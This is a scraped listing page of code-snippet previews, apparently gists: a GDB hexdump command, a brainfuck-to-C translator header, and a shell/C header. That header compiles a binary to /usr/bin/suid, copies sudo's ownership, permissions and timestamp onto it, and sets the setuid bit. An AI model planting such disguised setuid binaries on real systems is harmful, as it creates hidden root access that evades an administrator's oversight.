This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import hexdump | |
import gdb | |
class HexdumpCmd(gdb.Command): | |
"""Hexdump memory: hd [addr [size]] | |
Exaples: | |
hd 0x409130 0x20 | |
hd &main_arena | |
hd $5 | |
""" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#if 0 | |
[[ -n "$TARGET" ]] || TARGET=/usr/bin/suid | |
gcc -o $TARGET $0 || exit $? | |
chown --reference /usr/bin/sudo $TARGET | |
chmod --reference /usr/bin/sudo $TARGET | |
touch --reference /usr/bin/sudo $TARGET | |
chmod a+s $TARGET | |
#$RM $0 | |
exit 0 | |
#endif |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* A simple, non-optimizing brainfuck to C translator. | |
* 2010-08-31 - Version 1.0 (Cory Burgett) | |
* | |
* This code is hereby placed into the public domain. | |
* | |
* Originally located at: http://www4.ncsu.edu/~cmburget/brainfucc.c | |
* based on https://gist.github.com/939687.git | |
*/ |
NewerOlder